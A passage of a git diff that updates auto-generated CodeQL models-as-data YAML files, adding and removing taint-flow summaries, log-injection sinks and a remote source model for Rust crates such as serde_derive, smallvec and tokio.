"ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::original]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::get", "Argument[self].Field[crate::internals::attr::Attr::value]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::custom_serde_path", "Argument[self].Field[crate::internals::attr::Container::serde_path].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] @@ -23,6 +22,7 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_fields_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_fields_rules]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_rules]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serde_path", "Argument[self].Field[crate::internals::attr::Container::serde_path].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::tag", "Argument[self].Field[crate::internals::attr::Container::tag]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::transparent", "Argument[self].Field[crate::internals::attr::Container::transparent]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_from", "Argument[self].Field[crate::internals::attr::Container::type_from].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] @@ -66,7 +66,6 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_name", "Argument[self].Field[crate::internals::name::MultiName::deserialize]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0].Reference", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] - - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[1].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[2].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_name", "Argument[self].Field[crate::internals::name::MultiName::serialize]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml index d0ca9a01761..06b8cdda4be 100644 --- a/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml +++ b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml @@ -17,15 +17,20 @@ extensions: - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::index_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_mut_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::capacity", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue.Field[crate::Drain::tail_start]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::DrainFilter::pred]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue.Field[crate::DrainFilter::old_len]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::DrainFilter::vec]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_const_with_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_raw_parts", "Argument[2]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::grow", "Argument[0]", "Argument[self].Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::len", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::retain", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::retain_mut", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::try_grow", "Argument[0]", "Argument[self].Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::next", "Argument[self].Field[crate::tests::MockHintIter::x].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self].Field[crate::tests::MockHintIter::hint]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -35,6 +40,10 @@ extensions: extensible: sinkModel data: - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::insert", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::insert", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::remove", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::remove", "Argument[self]", "log-injection", "df-generated"] - addsTo: pack: codeql/rust-all extensible: sourceModel diff --git a/rust/ql/lib/ext/generated/tokio/repo-examples.model.yml b/rust/ql/lib/ext/generated/tokio/repo-examples.model.yml new file mode 100644 index 00000000000..6ad582e06bf --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-examples.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo::examples", "crate::connect", "ReturnValue", "remote", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml index 76217f9951f..d66baaafdba 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml @@ -28,13 +28,10 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::f]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::peek", "Argument[self].Field[crate::stream_ext::peekable::Peekable::peek].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip::Skip::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip::Skip::remaining]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::predicate].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::take::Take::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::take::Take::remaining]", "value", "dfc-generated"] @@ -48,8 +45,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout::Timeout::duration]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout_repeating::TimeoutRepeating::interval]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::try_next::TryNext::inner].Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml index cff2c622acf..22e6b5e0018 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml @@ -22,3 +22,5 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref_mut", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::enter", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::into_inner", "Argument[self].Field[crate::task::Spawn::future].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "crate::task::spawn", "Argument[0]", "ReturnValue.Field[crate::task::Spawn::future].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml index db6e6afc944..dac75811184 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml @@ -118,6 +118,12 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::stream_reader::StreamReader::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_mut", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_line", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_until", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_handle", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] @@ -128,7 +134,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFuture::cancellation_token]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled_owned", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFutureOwned::cancellation_token]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::drop_guard", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::disarm", "Argument[self].Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] @@ -136,7 +141,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_send", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "Argument[self].Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] @@ -145,6 +149,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::reusable_box::ReusableBoxFuture::boxed].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::task::abort_on_drop::AbortOnDropHandle(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -160,8 +165,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::task_tracker", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::peek", "Argument[self].Field[crate::time::delay_queue::DelayQueue::expired].Field[crate::time::delay_queue::Stack::head]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_expired", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[0].Field[crate::time::delay_queue::Key::index]", "ReturnValue.Field[crate::time::delay_queue::Expired::key].Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_remove", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self].Field[crate::time::delay_queue::Expired::deadline]", "ReturnValue", "value", "dfc-generated"] @@ -179,6 +182,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::push", "Argument[0]", "Argument[self].Field[crate::time::delay_queue::Stack::head].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::elapsed", "Argument[self].Field[crate::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll", "Argument[0]", "Argument[self].Field[crate::time::wheel::Wheel::elapsed]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::wheel::level::Level::level]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self].Field[crate::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::time::wheel::level::Expiration::level]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec", "Argument[self].Field[crate::udp::frame::UdpFramed::codec]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -199,8 +203,15 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_write", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_expired", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::reset", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::reset_at", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_remove", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index_mut", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml index 6790d9d9711..953f797c729 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml @@ -9,8 +9,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&mut crate::runtime::scheduler::inject::synced::Synced as crate::runtime::scheduler::lock::Lock>::lock", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_write_vectored", "Argument[self].Field[crate::MockWriter::vectored]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "Argument[self].Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -18,7 +16,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::recursive]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::fs::file::File::max_buf_size]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self].Field[crate::fs::file::File::std]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::fs::file::File::std]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::fs::open_options::OpenOptions(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -32,8 +29,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::truncate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner", "Argument[self].Field[crate::fs::read_dir::DirEntry::std]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready_mut", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -53,10 +48,7 